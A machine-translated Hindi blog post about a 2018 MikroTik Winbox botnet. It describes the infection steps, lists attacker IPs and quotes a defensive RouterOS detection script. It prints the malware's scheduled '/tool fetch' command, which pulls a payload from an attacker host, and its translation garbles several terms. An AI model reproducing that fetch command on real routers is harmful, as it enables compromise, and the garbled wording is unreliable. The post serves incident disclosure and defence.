👨‍👩‍👦‍👦 🧔🏿 🌩️ नई मिकरोटिक भेद्यता? नहीं, लेकिन यह आपके उपकरणों की जाँच के लायक है। ☝🏻 👨🏾‍🚀 🙍🏻

2 अगस्त को, मुझे "मिक्रोटिक: तत्काल सुरक्षा सलाहकार" समाचार पत्र प्राप्त हुआ, जिसमें कहा गया था कि एक बॉटनेट विनबॉक्स सेवा की भेद्यता को हैक करने और उपकरणों को संक्रमित करने के लिए उपयोग कर रहा था।

समाचार पत्र के पाठ से, यह स्पष्ट हो गया कि भेद्यता 23 अप्रैल, 2018 को संस्करण v6.42.1 में बंद हो गई थी। मैंने प्रायोजित उपकरणों की जांच शुरू की और 6.40.1 के साथ कई राउटर पाए, जिनमें से एक संक्रमित था।

एक हमलावर स्क्रिप्ट क्या करती है?

एक भेद्यता के माध्यम से उपयोगकर्ताओं की एक सूची बन जाती है (यानी कुछ और करने के लिए व्यवस्थापक बदलना नहीं सहेजता है)।
प्राप्त सभी लॉगिन के साथ लॉग इन करने की कोशिश करता है और अवरुद्ध लोगों को मातम करता है।
सक्रिय लॉगिन पाकर, अपना पासवर्ड प्राप्त करता है, सिस्टम में लॉग करता है।

तो:

फ़ायरवॉल पर सभी ड्रॉप नियमों को निष्क्रिय करता है।
एक गैर-मानक बंदरगाह पर मोजे (आईपी - मोजे) को सक्षम करता है, मेरे मामले में 4145।
स्क्रिप्ट /tool fetch address=95.154.216.166 port=2008 src-path=/mikrotik.php mode=http keep-result=no सिस्टम में /tool fetch address=95.154.216.166 port=2008 src-path=/mikrotik.php mode=http keep-result=no - लिपियों को जोड़ता है
सिस्टम - शेड्यूलर में स्क्रिप्ट रन जोड़ता है।
मौजूदा स्क्रिप्ट को हटाता है (मिकरोटिक मंच द्वारा रिपोर्ट किया गया है)।

यह हमला 95.154.216.151 पते से आया था, जो कि आईओमार्ट होस्टिंग लिमिटेड का है, उन्हें साइट के माध्यम से एक संदेश लिखा था, लेकिन अभी तक कोई प्रतिक्रिया नहीं हुई है, यह पता सक्रिय है।

पता 95.154.216.166 भी सक्रिय है, लेकिन इस पर कोई mikrotik.php फ़ाइल नहीं है।

यहां आप पीड़ितों के संदेश देख सकते हैं:
www.abuseipdb.com/check/95.154.216.151
www.abuseipdb.com/check/95.154.216.166

यदि आपका मिकरोटिक अभी तक अपडेट नहीं हुआ है और विनबॉक्स पोर्ट सभी के लिए खुला है, तो डिवाइस की जांच करना सुनिश्चित करें।

हम जाँचते हैं कि आईपी में नियम ड्रॉप - फ़ायरवॉल सक्रिय हैं।
हम मोजे की जांच करते हैं, डिस्कनेक्ट किया जाना चाहिए और पोर्ट डिफ़ॉल्ट रूप से - 1080 होना चाहिए।
सिस्टम में लिपियों के लिए जाँच करें - लिपियों और सिस्टम - समयबद्धक।
Miktorik.php फ़ाइल के अस्तित्व की जाँच करना
हम टर्मिनल में निर्यात / निर्यात करते हैं और अपनी आंखों से कॉन्फ़िगरेशन की जांच करते हैं।

मिकरोटिक मंच पर गॉटस्प्रिंग उपयोगकर्ता ने इस विकल्प का सुझाव दिया:

 :if ([/ip socks get port] = 1080) do={:log info "Socks port is still Default."} else={:log info "Socks Port changed Possible infection!"} :if ([/ip socks get enabled] = false) do={:log info "Socks is not on."} else={:log info "Socks is enabled... that could be bad!"} :if ([:len [/file find name="mikrotik.php"]] > 0) do={:log info "!!!mikrotik.php!!! File Detected!"} else={:log info "mikrotik.php not found."} :if ([:len [/file find name="Mikrotik.php"]] > 0) do={:log info "!!!Mikrotik.php!!! File Detected!"} else={:log info "Mikrotik.php not found."} :if ([:len [/user find name="service"]] > 0) do={:log info "!!!YOU WERE BREACHED!!!"} else={:log info "No sign of the service user."}

आप लॉग इन करें और परिणाम देखें। यदि आपके पास "!" आपको कोई समस्या हो सकती है।

जाहिर है, Winbox Service को सभी के लिए खुला रखना बहुत बुरा है, लेकिन कुछ मामलों में ऐसा होता है, अपने उपकरणों को अपडेट करना न भूलें!

संबंधित लिंक:

forum.mikrotik.com/viewtopic.php?f=21&t=137572
thehackernews.com/2018/08/mikrotik-router-hacking.html

नई मिकरोटिक भेद्यता? नहीं, लेकिन यह आपके उपकरणों की जाँच के लायक है।

More articles: